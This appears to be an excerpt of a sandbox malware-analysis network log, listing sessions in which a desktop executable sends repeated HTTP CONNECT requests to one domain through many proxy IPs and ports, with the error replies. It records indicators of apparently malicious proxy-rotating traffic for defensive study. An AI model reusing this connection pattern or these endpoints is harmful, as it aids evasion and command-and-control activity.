Mar 11, 2024 15:21:08.294162035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.232820988 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.9	52647	61.92.189.15	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.269280910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.574755907 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.9	50285	171.235.166.222	4019	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.287972927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.798033953 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.9	52646	31.148.207.153	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.300482035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.9	50305	187.62.89.252	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.305835962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.9	52104	103.49.114.195	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.313891888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.9	52650	5.252.23.220	1081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.337701082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.9	52656	157.185.160.74	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.338051081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.9	52667	20.106.146.212	6001	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.338452101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.9	51337	1.15.62.12	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.339350939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.9	52651	95.84.166.138	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.343696117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.9	52649	138.36.150.16	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.500231028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.9	52083	27.147.137.90	8090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.501501083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.637881041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.429409027 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.9	52655	43.163.192.3	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.505079985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.9	52086	51.15.234.222	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.506496906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548546076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.604008913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.700342894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.700277090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.9	52708	104.16.108.234	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.534017086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.688494921 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.9	52711	104.16.105.198	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.534038067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.688668013 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.9	50656	148.72.23.56	42312	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.534436941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548590899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.604018927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.700351954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.700298071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:41.704917908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:53.715605974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.9	52725	172.67.181.12	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.534708023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.689672947 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.9	52684	92.204.134.38	25825	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.535161018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.137772083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.826001883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.325670004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.138147116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.934765100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.9	52666	207.180.234.220	42823	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.535161972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.185102940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.091077089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.997200966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700710058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.365540981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.997210026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.410494089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:41.887537003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.9	52718	104.20.205.191	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.535324097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.689707994 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.9	52687	66.45.246.194	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.535324097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.9	52679	195.25.20.108	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.535660028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.9	52727	104.16.105.15	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
